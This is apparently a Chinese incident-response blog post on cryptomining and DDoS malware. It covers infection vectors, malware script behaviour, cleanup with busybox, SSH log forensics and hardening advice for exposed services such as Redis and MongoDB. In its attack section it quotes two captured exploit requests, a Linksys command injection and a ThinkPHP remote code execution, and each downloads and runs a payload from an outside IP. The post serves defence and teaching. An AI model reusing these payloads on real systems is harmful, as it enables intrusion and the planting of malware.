一 挖矿病毒简介
 攻击者利用相关安全隐患向目标机器种植病毒的行为。
二 攻击方式
攻击者通常利用弱口令、未授权、代码执行、命令执行等漏洞进行传播。示例如下:
示例1:
 
POST /tmUnblock.cgi HTTP/1.1
Host: 188.166.41.194:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.20.0
Content-Length: 227
Content-Type: application/x-www-form-urlencoded
ttcp_ip=-h `cd /tmp; rm -rf mpsl; wget http://165.22.136.161/vb/mpsl; chmod 777 mpsl; ./mpsl linksys`&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
示例二:
 
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget http://81.6.42.123/a_thk.sh -O /tmp/a; chmod 0777 /tmp/a; /tmp/a; HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Host: 103.27.111.204
 
三 脚本流程
   3.1、杀死其他同类产品以及安全软件。比如安骑士、青藤云等等
  3.2、每隔一定周期检测一次进程是否存
  3.3、添加计划任务
  3.4、检查木马文件是否存在
  3.5、检查发现不存在木马文件就会自行远程下载并执行
   
四 排查思路
    4.0 断网
    4.1 检查计划任务,并将计划任务的域名或者ip写入到 /etc/resolv.conf中,绑定为 127.0.0.1  脚本域名
    4.2 上传busybox
    4.3 使用busbox中的ps、top、netstat、crontab、kill、rm、chattr等指令按照脚本内容依次删除挖矿脚本添加的内容
    4.4 使用busybox检查本机是否被写入恶意so。一般so地址为:/usr/lib/ 若有新增so,则使用busybox  rm 删除
    4.5 进入/proc/目录 计算所有pid 的md5值。 即执行 md5sum /proc/$pid/exe 并将得到的md5值去威胁情报社区(微步或者VT)查询相关信息
    4.6 确认删除计划任务、恶意so、挖矿进程后重启机器。随后再次检查
    
五 入侵溯源
    5.1 ssh入侵。
        grep ‘Accept’ /var/secure*
        strings     /var/wtmp
        strings     /var/lastlog
        strings     /var/utmp
        strings     /var/log/boot.log
        cat.        /root/.ssh/authorized_keys
 
一般而言,若在挖矿脚本中发现以上文件被删除或者置空,则99%可确定为是 通过ssh 爆破进来,则修复建议如下:
    5.1.1 升级openssh
    5.1.2  使用长度大约8的多种字符组合的密码
    5.1.3 安装fail2ban,
5.2 未授权入侵。 
常见存在未授权的应用如下
redis、jenkins、mongodb、zookeeper、es、memcache、hadoop、couchdb、docker、k8s
 
 
服务名 常见未授权原因 修复建议
redis 6379对外开放,且使用弱口令或者未设置密码
1 iptables 设定6379 ip白名单
2 设置redis强口令
jenkins 弱口令、script未授权
1 设置强密码
2 管理后台建议禁止开放公网,建议使用iptables指定来源ip
mongodb 27017 
1 本地访问
bind 127.0.0.1
2 修改默认端口
修改默认的mongoDB端口(默认为: TCP 27017)为其他端口
3 禁用HTTP和REST端口
MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface = false
4 开启日志审计功能
审计功能可以用来记录用户对数据库的所有相关操作。这些记录可以让系统管理员在需要的时候分析数据库在什么时段发生了什么事情
5 开启auth认证
/etc/mongodb.conf  
auth = true 
6 开启鉴权模式
zookeeper 2181
1 禁止把Zookeeper直接暴露在公网
2 添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)
Es 9200
1 默认开启的9200端口和使用的端口不对外公布,或架设内网环境。或者防火墙上设置禁止外网访问9200端口。
 
2 架设nginx反向代理服务器,并设置http basic认证来实现elasticsearch的登录认证。
3 限制IP访问,绑定固定IP
4 为elasticsearch增加登录验证,可以使用官方推荐的shield插件.
Memcache 11211
1.限制访问
2.防火墙
3.使用最小化权限账号运行Memcached服务
4.启用认证功能
5.修改默认端口
6.定期升级
Hadoop 8088
1 网络访问控制
2 启用认证功能
3 更新补丁
 
Couchdb 5984
1 指定CouchDB绑定的IP
2 设置访问密码
Docker  2181
1 网络访问控制
2 低权限运行
K8s 8080、6443
1 身份校验
2 设置密码
cms 代码执行、命令执行、注入等等 升级、打补丁
总之根据对应的服务,一一排查,挖矿病毒、ddos病毒类的都是脚本自动化执行,一般都是以上安全隐患造成的中毒。
    
  

挖矿病毒、ddos入侵流程及溯源的更多相关文章

  1. qW3xT.2,解决挖矿病毒。

    网站在运行期间感觉怪怪的,响应速度慢的不是一丁半点,带宽5M,不该是这样的呀 于是登录Xshell top命令 查看cpu情况如下 PID为3435的进程占用CPU过大,难道被病毒入侵了吗? 查看该进 ...

  2. [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告

    Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...

  3. 阿里云 qW3xT.4 挖矿病毒问题

    查了一下.是个挖矿病毒,cpu 占用巨高 .杀了又有守护进程启动.网上有些杀死这个病毒的办法,大家可以试试.但是不确定能杀死. 建议直接重装系统. 然后,说说这货怎么传播的. 他通过redis .目前 ...

  4. Linux应急响应(三):挖矿病毒

    0x00 前言 ​ 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式.新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染 ...

  5. 如何更有效的消灭watchdogs挖矿病毒?华为云DCS Redis为您支招

    漏洞概述 近日,互联网出现watchdogs挖矿病毒,攻击者可以利用Redis未授权访问漏洞入侵服务器,通过内外网扫描感染更多机器.被感染的主机出现 crontab 任务异常.系统文件被删除.CPU ...

  6. 挖矿病毒DDG的分析与清除

    注:以下所有操作均在CentOS 7.2 x86_64位系统下完成. 今天突然收到“阿里云”的告警短信: 尊敬的****:云盾云安全中心检测到您的服务器:*.*.*.*(app)出现了紧急安全事件:挖 ...

  7. 挖矿病毒分析(centos7)

    因为我在工作的时候被各种挖矿病毒搞过几次,所以在这里整理下我遇到的病毒以及大神们的解决方案. 服务器中挖矿病毒后,最基本的一个特征就是CPU使用率瞬间飙升,此时可以通过top命令进行查看,确认是否有异 ...

  8. Linux挖矿病毒 khugepageds详细解决步骤

    一.背景 最近公司一台虚拟机被攻击,其中一种挖矿病毒.会伪CPU数.即如果用top命令只能看到一个cpu.并且负载不高.实际上整个负载300%以上,及时定时任务关掉也不起作用. 二.言归正传开始干掉这 ...

  9. Window应急响应(四):挖矿病毒

    0x00 前言 ​ 随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一.病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降,电脑温度升 ...

随机推荐

  1. LeetCode算法题-Reach a Number(Java实现)

    这是悦乐书的第310次更新,第331篇原创 01 看题和准备 今天介绍的是LeetCode算法题中Easy级别的第179题(顺位题号是754).你站在无限数字线的0号位置.在目的地有个target.在 ...

  2. CentOS 安装 ceph 单机版(luminous版本)

    一.环境准备 CentOS Linux release 7.4.1708 (Core)一台,4块磁盘(sda.sdb,.sdc.sdd) 192.168.27.130 nceph 二.配置环境 1.修 ...

  3. VS与Windbg调试

    原文 :  https://blog.csdn.net/fin86889003/article/details/20126593 原文 :  https://blog.csdn.net/u014339 ...

  4. Mybatis 批量添加,批量更新

    此篇适合有一定的mybatis使用经验的人阅读. 一.批量更新 为了提升操作数据的效率,第一想到的是做批量操作,直接上批量更新代码: <update id="updateBatchMe ...

  5. CSS问题

    当标签之间有缝隙  两个a标签之间消除缝隙  可在div设置 font-size:0 ul下的li去掉小圆点:设置 ul list-style:none <div> <a> & ...

  6. SpringMVC 实现文件上传与下载,并配置异常页面

    目录 上传文件的表单要求 Spring MVC实现上传文件 需要导入的jar包 配置MultipartResolver解析器 编写接收上传文件的控制器 Spring MVC实现文件下载 下载文件时的h ...

  7. 利用layui前端框架实现对不同文件夹的多文件上传

    利用layui前端框架实现对不同文件夹的多文件上传 问题场景: 普通的input标签实现多文件上传时,只能对同一个文件夹下的多个文件进行上传,如果要同时上传两个或多个文件夹下的文件,是无法实现的.这篇 ...

  8. sqlplus命令行登录oracle数据库的N种方法盘点

    欢迎访问我的个人博客IT废柴,本文永久链接移至:sqlplus命令行登录oracle数据库的N种方法盘点 sqlplus有几种登陆方式Oracle数据库, 比如: 1.以操作系统权限认证的oracle ...

  9. python并发编程之多线程基础知识点

    1.线程理论知识 概念:指的是一条流水线的工作过程的总称,是一个抽象的概念,是CPU基本执行单位. 进程和线程之间的区别: 1. 进程仅仅是一个资源单位,其中包含程序运行所需的资源,而线程就相当于车间 ...

  10. eclipse JVM 性能调优

    最近因项目存在内存泄漏,故进行大规模的JVM性能调优 , 现把经验做一记录. 一.JVM内存模型及垃圾收集算法 1.根据Java虚拟机规范,JVM将内存划分为: New(年轻代) Tenured(年老 ...